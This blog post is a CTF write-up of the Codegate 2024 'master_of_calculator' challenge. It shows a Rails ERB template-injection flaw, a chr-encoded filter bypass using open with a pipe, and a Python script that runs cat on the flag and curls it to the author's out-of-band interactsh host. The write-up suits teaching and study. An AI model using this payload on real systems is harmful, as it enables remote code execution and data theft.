Site cover image

Site icon image vicevirus’ Blog

Yo, welcome to my blog! I write tech stuff and play CTFs for fun. (still a noob)

Post title icon Codegate CTF 2024 Preliminary master_of_calculator Write-up

Introduction


Hello! It’s been a while since I’ve written a write-up. On the first weekend of June, I finally had spare time to play the Codegate CTF 2024 Prelim. At first I thought of playing vsCTF, but it has been postponed for 2 weeks. Overall, the Codegate CTF 2024 Prelim were pretty challenging, and I didn’t have much time to look at all of them due to some other stuff happening on Saturday. I was only able to solve 1 web challenge, master_of_calculator. Though, I still had fun and I learned a lot about Ruby.

master_of_calculator



Image in a image block

For this challenge we were given a website which looks like a normal calculator. You were also given the source code for review.

The website is based on Ruby on Rails which follows a commonly seen MVC (Model-View-Controller) architectural pattern.

Usually, most of the logic of the website is stored inside the Controller and it is the first thing we inspected. We found a very interesting file called the home_controller.rb which basically holds the logic behind the home page which is also the front page that we are seeing.

class HomeController < ApplicationController
  skip_forgery_protection :only => [:calculate_fee]
  FILTER = ["system", "eval", "exec", "Dir", "File", "IO", "require", "fork", "spawn", "syscall", '"', "'", "(", ")", "[", "]","{","}", "`", "%","<",">"]

  def index
    render :home
  end

  def calculate_fee
      entry_price = params[:user_entry_price]
      exit_price = params[:user_exit_price]
      leverage = params[:user_leverage].to_f
      quantity = params[:user_quantity]

      if [entry_price, exit_price, leverage, quantity].map(&:to_s).any? { |input| FILTER.any? { |word| input.include?(word) } }
        response = "filtered"
      else
          response = ERB.new(<<~FORMULA
          <% pnl = ((#{exit_price} - #{entry_price}) * #{quantity} * #{leverage}).round(3) %>
          <% roi = (((#{exit_price} - #{entry_price}) * 100.0 / #{entry_price} * #{leverage})).round(3) %>
          <% initial_margin = ((#{entry_price} * #{quantity}) / #{leverage}).round(3) %>
          <%= pnl %>
          <%= roi %>%
          <%= initial_margin %>
          FORMULA
          ).result(binding)
          response = response.sub("\n\n\n","")
          pnl, roi, margin = response.split("\n")
      end
  
      render json: { response: response, pnl: pnl, roi: roi, margin: margin }

    end
end

This particular code block is dangerous and is vulnerable to SSTI and RCE. ERB.new()

ERB.new(<<~FORMULA
  <% pnl = ((#{exit_price} - #{entry_price}) * #{quantity} * #{leverage}).round(3) %>
  <% roi = (((#{exit_price} - #{entry_price}) * 100.0 / #{entry_price} * #{leverage})).round(3) %>
  <% initial_margin = ((#{entry_price} * #{quantity}) / #{leverage}).round(3) %>
  <%= pnl %>
  <%= roi %>%
  <%= initial_margin %>
FORMULA
)

An attacker can just escape out of it, and run their own Ruby code on the server!

Here’s an example:

response = ERB.new(<<~FORMULA
<% pnl = ((2 - 1); system('whoami'); (1) * 100 * 10).round(3) %>
<% roi = (((2 - 1); system('whoami'); (1) * 100.0 / 1); system('whoami'); (1) * 10).round(3) %>
<% initial_margin = ((1) * 100 / 10).round(3) %>
<%= pnl %>
<%= roi %>%
<%= initial_margin %>
FORMULA
).result(binding)

# this will execute whoami on the system

The challenge here is that there’s a pretty hefty filter which limits what kind of payload we can use.

FILTER = ["system", "eval", "exec", "Dir", "File", "IO", "require", "fork", "spawn", "syscall", '"', "'", "(", ")", "[", "]","{","}", "`", "%","<",">"]

if [entry_price, exit_price, leverage, quantity].map(&:to_s).any? { |input| FILTER.any? { |word| input.include?(word) } }
     response = "filtered"

Solution

At a glance, this seems like a pretty difficult filter to work with, since it’s blocking all quotes, bracket, parentheses, %, <>, [] and some of the system/exec functions.

After further research, we learned that it’s possible to invoke the open() function and set a pipe so that it could do command injection

open("|" + commandinjectionvarhere, "r")

# this pipe | will open a subprocess and run any command injection that you specify. ex: cat,curl etc

But wait, it’s using the blocked chars which is parentheses and quotes. How can we bypass it?

Good thing about Ruby is that, it allows you to run function/method without using any parentheses!

open "|" + commandinjectionvarhere, "r"

# this will work too :D

So next what we can do to bypass the quotes filter is to use the Ruby integer .chr function

For this challenge, I used the challenge server curl, to send the flag file to me through out-of-bound receiver (interactsh)

Here is the full Ruby payload.

slash = 47.chr;
space = 32.chr;
pipe = 124.chr;
curl = 99.chr + 117.chr + 114.chr + 108.chr;
dash = 45.chr;
bigx = 88.chr;
post = 80.chr + 79.chr + 83.chr + 84.chr;
dashd = dash + 100.chr;
pipe = 124.chr;
cat = 99.chr + 97.chr + 116.chr;
r = 114.chr;
flagfile = slash + 114.chr + 97.chr + 105.chr + 108.chr + 115.chr + slash + 102.chr + 108.chr + 97.chr + 103.chr + 45.chr + 49.chr + 57.chr + 101.chr + 54.chr + 99.chr + 102.chr + 50.chr + 102.chr + 99.chr + 102.chr + 101.chr + 100.chr + 52.chr + 55.chr + 56.chr + 49.chr + 98.chr + 55.chr + 99.chr + 53.chr + 52.chr + 97.chr + 55.chr + 99.chr + 97.chr + 51.chr + 97.chr + 98.chr + 54.chr + 55.chr + 100.chr + 100.chr;
ooblink = 104.chr + 116.chr + 116.chr + 112.chr + 58.chr + 47.chr + 47.chr + 108.chr + 97.chr + 100.chr + 120.chr + 98.chr + 114.chr + 113.chr + 107.chr + 99.chr + 99.chr + 99.chr + 110.chr + 111.chr + 99.chr + 110.chr + 102.chr + 111.chr + 122.chr + 107.chr + 100.chr + 57.chr + 122.chr + 117.chr + 121.chr + 119.chr + 118.chr + 56.chr + 52.chr + 122.chr + 120.chr + 110.chr + 105.chr + 57.chr + 46.chr + 111.chr + 97.chr + 115.chr + 116.chr + 46.chr + 102.chr + 117.chr + 110.chr;

read =  cat + space + flagfile + space + pipe + space + curl + space + dash + bigx + space + post + space + ooblink + space + dashd + space + 64.chr + 45.chr;

open pipe + read, r

# This will basically send the flag directly to my Out-of-bound interactsh server


And here is the full solution Python script for automation.

import requests

url = 'http://3.34.253.4:3000/calculate_fee'

payload = """
slash = 47.chr;
space = 32.chr;
pipe = 124.chr;
curl = 99.chr + 117.chr + 114.chr + 108.chr;
dash = 45.chr;
bigx = 88.chr;
post = 80.chr + 79.chr + 83.chr + 84.chr;
dashd = dash + 100.chr;
pipe = 124.chr;
cat = 99.chr + 97.chr + 116.chr;
r = 114.chr;
flagfile = slash + 114.chr + 97.chr + 105.chr + 108.chr + 115.chr + slash + 102.chr + 108.chr + 97.chr + 103.chr + 45.chr + 49.chr + 57.chr + 101.chr + 54.chr + 99.chr + 102.chr + 50.chr + 102.chr + 99.chr + 102.chr + 101.chr + 100.chr + 52.chr + 55.chr + 56.chr + 49.chr + 98.chr + 55.chr + 99.chr + 53.chr + 52.chr + 97.chr + 55.chr + 99.chr + 97.chr + 51.chr + 97.chr + 98.chr + 54.chr + 55.chr + 100.chr + 100.chr;
ooblink = 104.chr + 116.chr + 116.chr + 112.chr + 58.chr + 47.chr + 47.chr + 108.chr + 97.chr + 100.chr + 120.chr + 98.chr + 114.chr + 113.chr + 107.chr + 99.chr + 99.chr + 99.chr + 110.chr + 111.chr + 99.chr + 110.chr + 102.chr + 111.chr + 122.chr + 107.chr + 100.chr + 57.chr + 122.chr + 117.chr + 121.chr + 119.chr + 118.chr + 56.chr + 52.chr + 122.chr + 120.chr + 110.chr + 105.chr + 57.chr + 46.chr + 111.chr + 97.chr + 115.chr + 116.chr + 46.chr + 102.chr + 117.chr + 110.chr;

read =  cat + space + flagfile + space + pipe + space + curl + space + dash + bigx + space + post + space + ooblink + space + dashd + space + 64.chr + 45.chr;

open pipe + read, r
"""
data = {
    'user_entry_price': "1;" + payload.replace('\n', ' '),
    'user_exit_price': '2',
    'user_leverage': '1',
    'user_quantity': '1'
}

response = requests.post(url, data=data)

print(response.text)

Send the payload, and you’ll get the flag!

Image in a image block
Flag: codegate2024{sup3r_dup3r_ruby_trick_m4st3r}

Thanks for readng my write-up!